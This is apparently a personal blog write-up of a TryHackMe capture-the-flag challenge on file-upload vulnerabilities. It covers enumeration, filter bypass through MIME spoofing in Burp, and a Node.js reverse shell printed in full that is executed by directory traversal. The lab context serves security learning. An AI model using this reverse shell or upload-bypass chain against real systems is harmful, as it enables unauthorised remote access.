TryHackMe: Upload Vulnerabilities Challenge

Final Challenge

Alright this final challenge gives us a website and it’s up to us to figure out everything on our own! First let’s navigate to the website: http://jewel.uploadvulns.thm.

Enumeration

Let’s begin by opening the source code. We can already see the background is changing and the upload text says to upload a nice image of a gem or a jewel, so chances are the file we upload would get passed to this slideshow on the main page.

The source code shows four div elements that the background cycles through. The images are stored in /content and have a random 3 digit code like ABH, LKQ, SAD,UAD. At this time I don’t know if these are just assets the website is pre-loaded with or uploaded files. The challenge did give us a custom wordlist to use for gobuster for the filenames, and looking at them the files will be named a random 3 letter A-Z name. So we will keep this in mind when we search for the files. I am going to go ahead and run GoBuster with the common wordlist for directories to see if there is any other directory of interest.

===============================================================
2021/03/17 13:23:57 Starting gobuster in directory enumeration mode
===============================================================
/ADMIN                (Status: 200) [Size: 1238]
/Admin                (Status: 200) [Size: 1238]
/admin                (Status: 200) [Size: 1238]
/assets               (Status: 301) [Size: 179] [--> /assets/]
/content              (Status: 301) [Size: 181] [--> /content/]
/Content              (Status: 301) [Size: 181] [--> /Content/]
/modules              (Status: 301) [Size: 181] [--> /modules/]

We can see there is /admin page that will execute something in the /modules directory. We cannot see inside of either /content or /modules, as directory indexing is off. We do know that the first four images were in the /content directory and we have a wordlist to crack future names that we can use gobuster for.

For now, I am going to run a scan of this directory for certain files that may prove useful such as php, txt, jpg, gif, png, log files.


┌──(kali㉿kali)-[~/Documents]
└─$ gobuster dir -u <http://jewel.uploadvulns.thm/content>  -w /home/kali/Downloads/UploadVulnsWordlist.txt -e -x 'php,txt,jpg,gif,png,log'

While it runs, we can try to determine what files the uploader will accept.

Back to the source code, we have client side filtering that checks to ensure:

  • The file is not over 409kb
  • The file has the magic number of with ÿØÿ which is for JPEG/JPG images
  • And the file extension is .jpg or .jpeg

We can assume the server side filtering must be similar. With BurpSuite, we can go ahead and intercept the JS and remove the client side checks for our upload, but we are going to need to modify the magic number of our file, and also see if the server checks for file extensions.

Payload Testing

We can assume that the server is going to also check for the magic number, so I changed the first 4 bits to FF D8 FF E0 and now the file shows up as JPEG image data. I still have the extension as .php for now. Let’s fire up Burp and modify the settings to intercept .js files, and see if we can at least get the file uploaded.

So my shell.php file that is spoofed to look like a JPEG image POSTed to the server, but was rejected. So I copied that request to repeater and let’s see if we can modify it to pass

This is the raw payload that gets sent through the upload process. We will try playing around with the type to see if we can keep the name and extension as .php.

Just modifying the type to image/jpeg worked! Now we need to find the file.

Our first GoBuster search never finished, but I believe we got to keep our .php extension so let’s restart the search with our wordlist for only .php files

Unfortunately, this returned no results. The server must take extension into consideration when renaming the files. Let’s just do a search for .jpg files and see if there are more than the 4 we know of (ABH, LKQ, SAD, UAD) from the backgrounds.

We do have a hit for DYY at http://jewel.uploadvulns.thm/content/DYY.jpg, and if we try to go to the file it says it cannot be displayed because it contains errors. So this our payload! But we need to somehow get this back in a way we can execute it. Maybe something in that admin and modules dir?

Pathway to Execution

Looking at the source code for the /Admin page, we can see there is a JS file named parseurl.js. It seems to allow us to search for a module in the directory and then it tells us if it exists or is activated.

I sent this particular POST request to the BurpSuite Repeater, and noticed this header X-Powered-By: Express. This tells us that we are running ExpressJS, a Node.JS framework. Which means that our PHP reverse shell will not work. Time to search for a Node.JS reverse shell and start again!

Take 2

I used this code from here to make a new shell:

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(4242, "10.0.0.1", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

Intercepted the JS to prevent client-side filtering, intercepted the POST request to upload the file and changed the MIME type to image/jpeg and then finally reran gobuster to get the name of the file as: PJO.jpg.

Let’s start netcat and see if we can activate the payload!

Back to the admin page, this seems to be finding a file in /modules to execute, since it is a Node.JS application. We know from GoBuster that our file is in /content. So perhaps we can just do a simple directory traversal by trying to execute ../content/PJO.jpg ?

┌──(kali㉿kali)-[~/Documents]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.6.xx.xxx] from (UNKNOWN) [10.10.126.69] 44488

Ta da! Finally! Time to cd /var/www to get the flag!

Further Notes

That was a fun challenge! I will note that after I got the node js shell code, I had to re-upload and do the steps above an additional 2 times! I kept setting the magic bytes to JPEG so when I tried to execute, it would just fail! It turns out I did not need those bytes at the beginning of the file, just to intercept with burp and tell it that it is an image/jpeg was enough to store the file, and then it was able to be executed!

Comments

No comments available.

Leave a Reply

Your email address will not be published. Required fields are marked *